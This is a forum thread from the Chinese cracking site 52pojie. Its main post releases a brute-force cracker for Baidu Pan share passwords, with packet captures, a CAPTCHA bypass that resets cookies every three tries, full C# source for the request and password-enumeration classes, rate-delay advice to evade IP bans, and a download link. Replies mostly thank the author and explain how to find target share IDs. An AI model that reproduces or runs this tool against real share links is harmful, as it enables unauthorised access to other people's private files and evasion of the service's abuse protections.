吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 247581|回复: 1067
收起左侧

[原创工具] 【全网首发】百度云盘分享密码破解器及数据包分析(附源码)

    [复制链接]
MXWXZ 发表于 2017-7-27 18:46
本帖最后由 MXWXZ 于 2017-7-29 22:08 编辑

注:网络错误的说明IP已经暂时被百度和谐了(大概1-2W多),这个需要重练一下路由器换个IP就行了……这没办法啊……
关于复制的问题我这win10在窗口内按右键就自动粘贴了,其他的不清楚

参考本文请自觉注明来源,谢谢。
本帖所包含的内容仅限技术交流和学习使用,禁止用于其他用途!因使用不当造成的一切后果与本人无关!
众所周知,百度云盘分享有时候是需要密码的,然而又因为众所周知的原因部分地址你并没有密码……之前网上似乎有一款密码破解工具,然而是好几年前的古董了,早就不能用了,于是我便花了2个晚上自己分析并写了一款密码破解器,根据我的习惯,还是开源便于后人少走弯路。
下方高能,为防止恶心、头昏等事件的发生,小白和伸手党请直接找0x04谢谢。

0x00:试探
大家都知道,百度分享密码时4个字母数字的组合,总共36^4=1679616种可能,在密码破解方面是很少的,我们只需要穷举即可。
随便分享一个文件,试着输输密码,发现输错3次之后就会出现验证码,必须要绕过这个验证机制,否则一切都是白搭(你可以试试写ocr识别),由于我懒得下账号了所以用的是Chrome的隐身模式上的,发现关闭隐身窗口重开验证次数就会重置,说明这个次数是和cookie有关的,只要get到新的cookie,就可以绕过限制,而这在模拟提交时是很方便搞定的,所以理论上是可行的。

0x01:抓包分析
我们分享的地址pan.baidu.com/s/xxx会跳转到http://pan.baidu.com/share/init?shareid=xxx&uk=xxx上,我们只需研究后者即可。
首先抓GET的包,有用的就header中的set cookie(可能包含账户信息,部分数据经过处理):
[HTML] 纯文本查看 复制代码
Set-Cookie: PANWEB=1; expires=Fri, 27-Jul-2018 09:21:53 GMT; path=/; domain=pan.baidu.com
Set-Cookie: BAIDUID=8DC16EGAAEDC31F6A8DG20A539B9236C:FG=1; expires=Fri, 27-Jul-18 09:21:53 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1

然后是POST的数据包格式(数据经过处理):
[HTML] 纯文本查看 复制代码
POST [url=http://pan.baidu.com/share/verify?shareid=1234567860&uk=1234563646&t=1501147353341&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTE0NzM1MzM0NTAuMDU3ODQxNzA5MTY4OTU4OTI=]http://pan.baidu.com/share/verif ... DQxNzA5MTY4OTU4OTI=[/url] HTTP/1.1
Host: pan.baidu.com
Proxy-Connection: keep-alive
Content-Length: 26
Accept: */*
Origin: [url=http://pan.baidu.com]http://pan.baidu.com[/url]
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: [url=http://pan.baidu.com/share/init?shareid=1234567860&uk=1234563646]http://pan.baidu.com/share/init?shareid=1234567860&uk=1234563646[/url]
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PANWEB=1; BAIDUID=8DC16EGAAEDC31F6A8DG20A539B9236C:FG=1; Hm_lvt_7a6760b6f054eb0087v7f96ff4a660b0=1501147318; Hm_lpvt_7a6760b6f054eb0087v7f96ff4a660b0=1501147318

pwd=1234&vcode=&vcode_str=

那个pwd就是我输入的密码了,返回值是下面几种:
[C++] 纯文本查看 复制代码
{"errno":-9,"err_msg":"","request_id":4817706520363686291}        //密码错误
{"errno":-62,"request_id":206026661042873124}                        //要验证码了
{"errno":0,"err_msg":"","request_id":4817740255807962253}        //密码正确


GET的数据我们只需要在处理时set一下cookie就可以了,不管它,重点看post的东西,提交的pwd已经知道是密码,vcode和vcode_str只有在验证码时才用到,关键就在那个Post的地址上,经过多次抓包比较发现有下面几个参数:

参数名备注
shareid 和地址上的一样
uk 和地址上的一样
t 变化的值,看上去像是时间戳
bdstoken 定值null
channel 定值chunlei
clienttype 定值0
web 定值1
app_id 某个定值
logid 变化的值,看上去像是经过BASE64加密
我们只需要看t/app_id/logid就好了:
t:这个通过站长工具可以查到就是13位的unix时间戳,没啥特殊的
app_id:似乎是用户标识?每个用户应该是个定值
logid:BASE64解密后是两串数字,有点像时间戳但又不是
下面只能通过实验来验证了……

0x02:验证
这里我卡了好久,一开始怎么提交都是返回2,不过这个2是个什么东西?到处查资料,最终在这里找到了前人发的一个帖子http://tieba.baidu.com/p/4943984667,原来是参数错误,难道最后那两个东西还有检测么?这可咋办,后来发现Fidder post的时候是独立cookie的,自然会报错,只好写个小程序先get再post。
然后这个t直接用站长工具生成一个,然后另两个暂时不动,提交一个试试……嗯?返回-9?也就是通过了验证,返回密码错误了!
难道那两个没什么用么?app_id随便填一个试试,Logid就不变了,果然,也成功了!多试几次,每次新New一个httprequest,发现连试10次都返回-9,也就是说通过新建cookie绕过验证码的方法是成功的!下面就是破解器的编写了。

第二天
0x03:破解
由于要给大家用肯定不能用py写,一开始用c++和curl,然后Post后无论如何都抓不到前三次返回的包,但是3次失败之后的包倒是一抓一个准……不知道是我写错了还是什么诡异BUG……无奈只好换C#,由于不太熟悉C#的网络操作,到处找资料,调试花了很久……代码也得比较屎,将就着看吧……
[C#] 纯文本查看 复制代码
class crack
    {
        //URL格式必须严格为[url=http://pan.baidu.com/share/init?shareid=xxx&uk=xxx]http://pan.baidu.com/share/init?shareid=xxx&uk=xxx[/url]
        public void init(string url)
        {
            HttpGet(url);
            info = url.Replace("http://pan.baidu.com/share/init?", "");
        }
        //尝试密码,3次后请重新建立实例(否则会有验证码)
        public int trypwd(string pwd)
        {
//取得时间戳
            System.DateTime time = System.DateTime.Now;
            System.DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new System.DateTime(1970, 1, 1, 0, 0, 0, 0));
            long ts = (time.Ticks - startTime.Ticks) / 10000;
            string data = HttpPost("http://pan.baidu.com/share/verify?" + info + "&t=" + ts.ToString() + "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==", "pwd=" + pwd + "&vcode=&vcode_str=");
            if (data.Contains("\"errno\":-9")) return 0;
            else if (data.Contains("\"errno\":0")) return 1;
            else return -1;
        }
        private string HttpPost(string Url, string Data)
        {
            try
            {
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
                request.Method = "POST";
                request.ContentType = "application/x-www-form-urlencoded; charset=UTF-8";
                request.Referer = "http://pan.baidu.com/share/init?" + info;
                request.ContentLength = Encoding.UTF8.GetByteCount(Data);
                request.CookieContainer = cookie;
                Stream myRequestStream = request.GetRequestStream();
                byte[] postBytes = Encoding.UTF8.GetBytes(Data);
                myRequestStream.Write(postBytes, 0, postBytes.Length);

                HttpWebResponse response = (HttpWebResponse)request.GetResponse();
                response.Cookies = cookie.GetCookies(response.ResponseUri);
                Stream myResponseStream = response.GetResponseStream();
                StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8"));
                string retString = myStreamReader.ReadToEnd();
                myStreamReader.Close();
                myResponseStream.Close();

                return retString;
            }
            catch (System.Exception ex)
            {
                return "error";
            }
        }
        private string HttpGet(string Url)
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
            request.Method = "GET";
            request.ContentType = "text/html;charset=UTF-8";
            request.CookieContainer = cookie;

            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
            Stream myResponseStream = response.GetResponseStream();
            StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8"));
            string retString = myStreamReader.ReadToEnd();
            myStreamReader.Close();
            myResponseStream.Close();

            return retString;
        }

        private CookieContainer cookie = new CookieContainer();
        private string info;
    }

一开始我没有加request.Referer = "http://pan.baidu.com/share/init?" + info;这句,然后无限返回2参数错误,我只好再用wse抓包比较,经过尝试发现必须要加上这个referer才行,其他的有没有无所谓……我也是醉了……

不过既然要破解密码,当然要生成密码,考虑到效率问题不太想用密码字典,写了一个哈希类将密码和一个数字一一对应。其实也就是把密码看成36进制,然后转换为10进制,防止有前导零,方便起见在所有数字前面加了个1
[C#] 纯文本查看 复制代码
class hash
    {
        //哈希类 36进制
        //有效哈希[10000000,11679615]
        static public string Hash2Str(int hash)
        {
            string ret = "";
            hash -= 10000000;
            while (hash > 0)
            {
                ret += Hash2Char(hash % 36);
                hash /= 36;
            }
            if (ret.Length == 3) ret += "0";    //前导零
            if (ret.Length == 2) ret += "00";
            if (ret.Length == 1) ret += "000";
            if (ret.Length == 0) ret += "0000";
            return reverse(ret);
        }
        static public int Str2Hash(string str)
        {
            int ret = 0;
            ret += Char2Hash(str[0]) * 46656;
            ret += Char2Hash(str[1]) * 1296;
            ret += Char2Hash(str[2]) * 36;
            ret += Char2Hash(str[3]);
            ret += 10000000;    //防止前导零
            return ret;
        }
        static private int Char2Hash(char c)
        {
            if (c >= '0' && c <= '9') return c - '0';
            else return c - 'a' + 10;
        }
        static private char Hash2Char(int hash)
        {
            if (hash >= 0 && hash <= 9) return (char)('0' + hash);
            else return (char)('a' + hash - 10);
        }
        static private string reverse(string str)
        {
            char[] arr = str.ToCharArray();
            Array.Reverse(arr);
            return new string(arr);
        }
    }

这样就可以用多线程平均划分任务了,又是查资料测试啥的花了好久搞定了……

0x04:成果
由于不太会c#的窗口程序,就用控制台的代替了,这样速度更快不是么:-D
QQ截图20170727181531.jpg
使用说明:
目标网址是跳转的那个网址!切记!!
密码开始结束点:方便多电脑多开,每位数字0最小z最大(请用小写),比如电脑A跑0000-c000,电脑B跑c001-zzzz
不知道怎么计算的同学可以到http://tool.oschina.net/hexconvert/,第一个框选10进制,第二个框选36进制,然后密码序号就是从0~1679615,自己计算一下比如559872输到第一个框,第二个框计算出来就是c000,如果不足四位在前面补0就行了。
延时毫秒:发现短时间内爆1W+的话提交地址会暂时404你的IP,这时候会无限显示网络错误,推荐100~2000就行了
线程数:根据机器配置来,太多会卡速度的

源码+程序(.net4.52+,xp不知道能不能跑):http://pan.baidu.com/s/1mil2dj6 密码:zu5t
防吞: FuckBDPanPwd.rar (11.28 KB, 下载次数: 4966)


什么?有病毒?请按Alt+F4……
什么?没有存档功能?源码都给你了自己写吧……
什么?速度才10个/S?你的网慢了……
什么?没有图形界面?能用就行哪来那么多要求……
什么?配置太多不会用?看使用说明……
什么?居然不评分?%¥%#……&*

点评

有思路,有想法,留帖有需再研究。  发表于 2017-7-27 20:56

免费评分

参与人数 578吾爱币 +567 热心值 +545 收起 理由
yejingang + 1 + 1 我很赞同!
Englishhentai + 1 + 1 有用嗷,铁汁
Nymph666 + 1 + 1 谢谢@Thanks!
Intro + 1 用心讨论,共获提升!
sirliu + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
gravebanner + 1 我很赞同!
人云亦云 + 1 + 1 谢谢@Thanks!
蓝色858 + 1 + 1 谢谢@Thanks!
淡然丶茫然 + 1 + 1 有想法
za515217964 + 1 + 1 热心回复!
gkyhky + 1 + 1 热心回复!
JL520XC + 1 + 1 谢谢@Thanks!
CrayonL + 1 + 1 谢谢@Thanks!
xkf.kaikai + 1 + 1 鼓励转贴优秀软件安全工具和文档!
Aftereffects + 1 + 1 谢谢@Thanks!
诺曼99 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
镜中花 + 1 + 1 谢谢@Thanks!
凉茶 + 1 + 1 热心回复!
xrx13579 + 1 + 1 用心讨论,共获提升!
denzhengwei + 1 + 1 谢谢@Thanks!
yubos1 + 1 鼓励转贴优秀软件安全工具和文档!
x67067710 + 1 + 1 收藏
szqever + 1 + 1 谢谢@Thanks!
jane35622 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
Lnairan + 1 + 1 谢谢@Thanks!
黄小峰 + 1 + 1 谢谢@Thanks!
tim9292654 + 1 + 1 谢谢@Thanks!
空满水杯 + 1 + 1 我很赞同!
南国十三 + 1 + 1 用心讨论,共获提升!
山大王9989 + 1 + 1 用心讨论,共获提升!
pcg169 + 1 谢谢@Thanks!
p337304875 + 1 + 1 热心回复!
suadzh + 1 + 1 我很赞同!
mhtsqj + 1 + 1 谢谢@Thanks!
swest + 1 + 1 谢谢@Thanks!
Gzsod + 1 + 1 已答复!
sophie2000 + 1 + 1 谢谢@Thanks!
zgcwkj + 1 + 1 用心讨论,共获提升!
大毛孩 + 1 + 1 我很赞同!
june_fj + 1 + 1 谢谢@Thanks!
木子汐 + 1 + 1 我很赞同!
chuyangfeng + 1 + 1 谢谢@Thanks!
helloapp + 1 + 1 谢谢@Thanks!
jian15812303 + 1 用心讨论,共获提升!
sdacan + 1 + 1 谢谢@Thanks!
jsrdsyzxzxf + 1 + 1 我很赞同!
skamikoto + 1 + 1 谢谢@Thanks!
walker5958 + 1 + 1 地址已经更新为https://pan.baidu.com/share/init?surl=XXXXXXX
微笑星 + 1 + 1 谢谢@Thanks!
slmgr.vbs + 1 + 1 热心回复!
Mr如风 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
9D8147 + 1 + 1 谢谢@Thanks!
Diezen + 1 + 1 百度网盘不知道什么时候已经换掉地址了,原来的地址还有用,但是源码已经没.
digua818 + 1 + 1 谢谢@Thanks!
bai7190 + 1 + 1 热心回复!
翼览众山小 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
w.26 + 1 + 1 哎,失效了,BDpan已经改了跳转地址了,
1300604346 + 1 + 1 已答复!
infan + 1 我是小白 不知道咋搞 直接评分了
noirI + 1 + 1 热心回复!
扯的世界 + 1 用心讨论,共获提升!
cainiaozz + 1 + 1 谢谢@Thanks!
zhzhip + 1 + 1 热心回复!
qq02463 + 1 + 1 谢谢@Thanks!
qzeng + 1 + 1 不做伸手党,评分拿走
老刘 + 1 + 1 谢谢@Thanks!
只是还很年轻 + 1 + 1 用心讨论,共获提升!
卖梦人 + 1 + 1 谢谢@Thanks!
wanfeienglish + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
zxuran + 1 + 1 谢谢@Thanks!
coming2088 + 1 + 1 谢谢@Thanks!
tianbukongbai + 1 + 1 热心回复!
qsx313 + 1 + 1 我很赞同!
taot34 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
stevenlyw + 1 + 1 谢谢@Thanks!
vJimv + 1 + 1 我很赞同!
hfck2017 + 1 + 1 我很赞同!
gxts588 + 1 + 1 热心回复!
强抱你 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
po1718 + 1 + 1 我很赞同!
financex + 1 + 1 谢谢@Thanks!
silence1981 + 1 + 1 这个值得拥有~~~谢谢~~~~~~~~~~~~~~~
cjh810127993 + 1 + 1 谢谢@Thanks!
半年蚂 + 1 我很赞同!
xiaopangpang + 1 + 1 谢谢@Thanks!
大风车 + 1 + 1 用心讨论,共获提升!
Hiker + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
RenZY + 1 + 1 谢谢@Thanks!
这都小意思 + 1 + 1 感谢您的宝贵建议,我们会努力争取做得更好!
墨云红扇 + 1 + 1 用心讨论,共获提升!
jmxxzpc + 1 + 1 谢谢@Thanks!
aaayy111 + 1 + 1 我很赞同!
bighuasheng + 1 + 1 谢谢@Thanks!
慕书 + 1 + 1 谢谢@Thanks!
iMea + 1 + 1 谢谢@Thanks!
ugvfire + 1 + 1 谢谢@Thanks!
金色灬流年 + 1 + 1 谢谢@Thanks!
yanfeiyx + 1 谢谢@Thanks!
a77582508 + 1 + 1 我很赞同!
丶峰宇 + 1 热心回复!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

枫MapleLCG 发表于 2017-8-2 22:06
本帖最后由 枫叶飘零 于 2017-8-2 22:07 编辑

来来来,各位。大家找到的某小网站VIP隐藏密码的链接是不是都是这样子的:
http://pan.baidu.com/s/xxxxxxx
It‘s 装逼 time

首先,拿密码破解器为例:http://pan.baidu.com/s/1mil2dj6
进入,右键-查看源码,Ctrl+F
搜素:shareid,附近有串数字,复制下来~
搜索:uk,附近有串数字,复制下来~
然后组成这样
http://pan.baidu.com/share/init?shareid=2786282982&uk=3139033646
1.png

点评

pwp
按照你的方法,还是要密码嘛  发表于 2017-8-3 03:53

免费评分

参与人数 6吾爱币 +3 热心值 +6 收起 理由
翼览众山小 + 1 + 1 楼主,还是有问题,在没输邀请码之前源代码里边没有shareid和uk那一串数字.
V蛋堡 + 1 + 1 用心讨论,共获提升!
神枪泡泡丶 + 1 直接跳http://pan.baidu.com/share/init?shareid=2786282982&amp;amp;uk=31390336.
MXWXZ + 1 诶我chrome访问地址栏直接显示跳转的地址了……
小朙 + 1 + 1 热心回复!
方妍心 + 1 热心回复!

查看全部评分

死捞仔 发表于 2017-7-27 23:28 来自手机
WHO 发表于 2017-7-27 19:33
本帖最后由 WHO 于 2017-7-27 19:45 编辑

正在测试,不知道多久之后出结果。还有怎么粘贴呀   19:33
10分钟后,网络错误,正在重试,接着提示软件异常,自动关闭。19:44

点评

说明IP已经暂时被百度和谐了……  发表于 2017-7-27 21:46
还没生儿子 发表于 2017-7-27 18:57
站个前排
引渡人 发表于 2017-7-27 18:47
谢谢楼主把源码也给发了出来
h1a2c3k4 发表于 2017-7-27 18:50
感谢楼主用心良苦
JudgeGoodwin 发表于 2017-7-27 18:51

回帖奖励 +1 CB吾爱币

谢谢分享,学习学习。
nuoyan 发表于 2017-7-27 18:53

回帖奖励 +1 CB吾爱币

谢谢楼主把源码也给发了出来
头像被屏蔽
懿菲云 发表于 2017-7-27 18:54
提示: 作者被禁止或删除 内容自动屏蔽
hjkerty 发表于 2017-7-27 18:56

回帖奖励 +1 CB吾爱币

感谢楼主用心良苦
2314902431 发表于 2017-7-27 18:56
可以写个py  =.= C#发现不少坑放弃学习了
haohe8604 发表于 2017-7-27 18:57
感谢分享,试试看!
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 14:25

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表